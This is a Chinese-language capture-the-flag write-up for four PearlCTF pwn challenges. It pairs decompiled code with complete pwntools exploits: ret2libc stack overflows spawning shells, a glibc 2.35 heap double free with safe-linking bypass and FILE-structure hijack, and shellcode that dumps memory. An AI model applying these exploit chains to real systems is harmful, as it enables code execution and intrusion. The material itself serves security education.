pearlctf_wp
Adventure
这印度的服务器稀烂,打半天打不通
有一个子函数里面存在栈溢出,用libcsearcher打ret2libc就好了
void __cdecl hatchEgg()
{
char name[20]; // [rsp+0h] [rbp-20h] BYREF
puts("You wish to hatch the egg!");
puts("Give the baby dragon a name");
getchar();
fflush(stdin);
gets(name);
printf("Your dragon is now called %s\n", name);
printf("You leave the area with %s\n", name);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30014
elf = context.binary = ELF('./adventure')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# 2 - > 1 -> getchar -> gets
rdi = 0x000000000040121e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401223
ret = 0x000000000040101a
payload = b"a" * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
# sla("Adventure!","2")
# sla("No","1")
time.sleep(2)
sl("2")
time.sleep(2)
sl("1")
# g(p)
sla("Give the baby dragon a name",payload)
rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))
# 4
libc = libc = LibcSearcher('puts',leak)
libc_base= leak - libc.dump("puts")
print(hex(libc_base))
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")
payload = b"a" * (0x20 + 0x8 + 0x1)
payload += p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# g(p)
sla("Give the baby dragon a name",payload)
p.interactive()
babyheap
https://bbs.kanxue.com/thread-273702.htm
glibc 2.35,先通过unsortedbin和tcache bin去泄露libc_base和heap_base,然后fastbin double free,打house of apple2,最后exit触发io _IO_flush_all_lockp,然后伪造iofile劫持控制流,2.35中fastbin 和 tcachebin fd next的位置有一个加密,加密的过程是这样的
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
pos 是指存储fd指针的地址,可以通过heap_base 加一个偏移计算出来,所以在double free写fd指针的时候,将fd指针加密再写进去,
e.g.
target = 0x114514
target = (pos >> 12) ^ target
然后关于iofile这个结构体的构造,pwntool中是有很好的解决方法
https://docs.pwntools.com/en/stable/filepointer.html
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
sub_1249(a1, a2, a3);
while ( 1 )
{
puts("\n1. Create note\n2. Delete note\n3. View notes\n4. Exit");
printf("Enter choice ");
v3 = sub_1290();
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_13:
puts("Why would you do that.");
}
else if ( v3 == 3 )
{
sub_14F1();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
sub_1303();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
sub_147B();
}
}
}
}
int sub_14F1()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Note Index ");
v1 = sub_1290();
if ( v1 <= 0xF )
return puts(*((const char **)&unk_4060 + v1));
else
return puts("Invalid note index.");
}
unsigned __int64 sub_1303()
{
unsigned __int64 size; // [rsp+8h] [rbp-228h]
unsigned __int64 v2; // [rsp+10h] [rbp-220h]
void *v3; // [rsp+18h] [rbp-218h]
unsigned __int64 v4; // [rsp+228h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Note Index ");
v2 = sub_1290();
if ( v2 > 0xF )
{
puts("Thats an invalid index.");
exit(1);
}
printf("Note Size ");
size = sub_1290();
if ( size > 0x200 )
{
printf("Thats too long for a single Note!!!");
exit(1);
}
v3 = malloc(size);
if ( !v3 )
{
puts("Failed to malloc. Assuming fatal error.");
exit(1);
}
*((_QWORD *)&unk_4060 + v2) = v3;
printf("Note Content > ");
fgets(*((char **)&unk_4060 + v2), size, stdin);
return v4 - __readfsqword(0x28u);
}
int sub_147B()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Note Index ");
v1 = sub_1290();
if ( v1 > 0xF )
return puts("Invalid note index.");
free(*((void **)&unk_4060 + v1));
return puts("Note deleted.");
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "dyn.ctf.pearlctf.in"
PORT = 30010
elf = context.binary = ELF('./heap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_note(idx,size,content):
sla("Enter choice ","1")
sla("Note Index ",str(idx))
sla("Note Size ",str(size))
sla("Note Content",content)
def show_note(idx):
sla("Enter choice ","3")
sla("Note Index ",str(idx))
def delete_note(idx):
sla("Enter choice ","2")
sla("Note Index ",str(idx))
p = connect()
# sl("A")
for i in range(9):
create_note(i,0x170,"AAAA")
for i in range(8):
delete_note(i)
show_note(7)
g(p)
ru("> ")
leak = u64(rl()[:-1].ljust(8,b'\x00'))
libc_base = leak - (0x7f32aa619ce0 - 0x7f32aa400000)
print(hex(libc_base))
# g(p)
# libc_base = r_leak_libc_64() - (0x7fa0dc21ace0 - 0x7fa0dc000000)
# success(hex(libc_base))
show_note(0)
ru('> ')
key = u64(rl()[:-1].ljust(8,b'\x00'))
heap_base = key << 12
success(hex(key))
success(hex(heap_base))
for i in range(8):
create_note(i,0x170,"AAAA")
for i in range(9):
create_note(i,0x68,"BBBB")
for i in range(7):
delete_note(i)
delete_note(7)
delete_note(8)
delete_note(7)
for i in range(7):
create_note(i,0x68,"BBBB")
pos = heap_base + (0x55dc5d361330 - 0x55dc5d360000)
target = (libc_base + libc.sym["_IO_list_all"])
target = (pos >> 12) ^ target
create_note(7,0x68,p64(target))
create_note(8,0x68,"BBBB")
create_note(7,0x68,"BBBB")
gg0 = heap_base + (0x5639f6e5f410 - 0x5639f6e5e000)
gg1 = heap_base + (0x5639f6e5f620 - 0x5639f6e5e000)
one=[0xebcf1,0xebcf5,0xebcf8]
# io=FileStructure(0)
# io.flags=0
# io.vtable=libc_base+libc.sym["_IO_wfile_jumps"]
# io._wide_data=gg0+0xe0
# io._IO_write_ptr=1
# io._IO_write_base=0
# payload=bytes(io)
# payload2 = 0x68*b"\x00"+p64(libc_base + one[1])
io=FileStructure(0)
io.flags= b" sh"
io.vtable=libc_base+libc.sym["_IO_wfile_jumps"]
io._wide_data=gg0+0xe0
io._IO_write_ptr=1
io._IO_write_base=0
payload=bytes(io)
payload+=b"\x00"*0xe0+p64(gg1)
system = libc_base + libc.sym['system']
payload2 = 0x68*b"\x00"+p64(system)
create_note(10,0x200,payload)
create_note(11,0x200,payload2)
create_note(7,0x68,p64(gg0))
print("SUCCESS")
# g(p)
sla("Enter choice ","4")
p.interactive()
goingback
其实也是ret2libc,子函数里有一个栈溢出
int sub_40126A()
{
int v1; // [rsp+Ch] [rbp-24h] BYREF
char v2[32]; // [rsp+10h] [rbp-20h] BYREF
printf("Rate your ticket booking experience from 1 to 5: ");
__isoc99_scanf("%d", &v1);
if ( v1 == 5 )
{
puts("Thank you for the rating");
puts("We hope you have a great journey");
exit(0);
}
if ( v1 > 4 )
{
puts("Invalid rating");
return puts("Please try again");
}
else
{
puts("We are sorry for the inconvenience");
puts("Please help us to improve your future experience");
getchar();
fflush(stdin);
return gets(v2);
}
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30011
elf = context.binary = ELF('./goingBack')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
time.sleep(0.5)
sl("nydn")
time.sleep(0.5)
sl("nydn")
time.sleep(0.5)
sl("114514")
time.sleep(0.5)
sl("aabc")
time.sleep(0.5)
sl("1")
time.sleep(0.5)
sl("3")
main = 0x40126A
rdi = 0x0000000000401265
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x000000000040101a
payload = b'a' * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(main)
sla("experience",payload)
# libc_base = r_leak_libc_64() - libc.sym['puts']
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))
rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))
libc = libc = LibcSearcher('puts',leak)
libc_base= leak - libc.dump("puts")
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")
payload = b'a' * (0x20 + 0x8)
payload += p64(rdi) + p64(binsh) + p64(ret)
payload += p64(system)
# g(p)
time.sleep(0.5)
sl("3")
sla("experience",payload)
p.interactive()
flag-finder
可以模拟随机数找到flag的基地址,不过,直接把整个页打印出来就好了
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
char *v5; // rax
__int64 v6; // rbx
__int64 v7; // rbx
__int64 v8; // rbx
char s[8]; // [rsp+10h] [rbp-60h] BYREF
__int64 v10; // [rsp+18h] [rbp-58h]
__int64 v11; // [rsp+20h] [rbp-50h]
__int64 v12; // [rsp+28h] [rbp-48h]
__int64 v13; // [rsp+30h] [rbp-40h]
__int64 v14; // [rsp+38h] [rbp-38h]
char *v15; // [rsp+40h] [rbp-30h]
int v16; // [rsp+4Ch] [rbp-24h]
char *v17; // [rsp+50h] [rbp-20h]
FILE *stream; // [rsp+58h] [rbp-18h]
sub_4012B6(a1, a2, a3);
v3 = time(0LL);
srand(v3);
stream = fopen("./flag.txt", "r");
if ( !stream )
{
puts("The flag file isn't loading. Please contact an organiser if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
v17 = (char *)mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
if ( !v17 )
return 1LL;
v16 = rand() % 4049;
v5 = &v17[v16];
v6 = v10;
*(_QWORD *)v5 = *(_QWORD *)s;
*((_QWORD *)v5 + 1) = v6;
v7 = v12;
*((_QWORD *)v5 + 2) = v11;
*((_QWORD *)v5 + 3) = v7;
v8 = v14;
*((_QWORD *)v5 + 4) = v13;
*((_QWORD *)v5 + 5) = v8;
printf("The flag is present in flag land of 0x1000 bytes starting from %p \n", v17);
v15 = (char *)mmap(0LL, 0x100uLL, 7, 34, 0, 0LL);
if ( !v15 )
return 1LL;
printf("what is your search plan?\n > ");
fgets(v15, 255, stdin);
sub_4012FD();
((void (*)(void))v15)();
return 0LL;
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30012
elf = context.binary = ELF('./flag-finder')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# sl("")
ru("from ")
leak_addr = int(r(14),16)
print(hex(leak_addr))
shellcode = asm(f'''
mov rax, 1
mov rdi, 1
mov rsi, {leak_addr}
mov rdx, 0x1000
syscall
''')
ru(" > ")
success("SUCCESS")
# pause()
sl(shellcode)
p.interactive()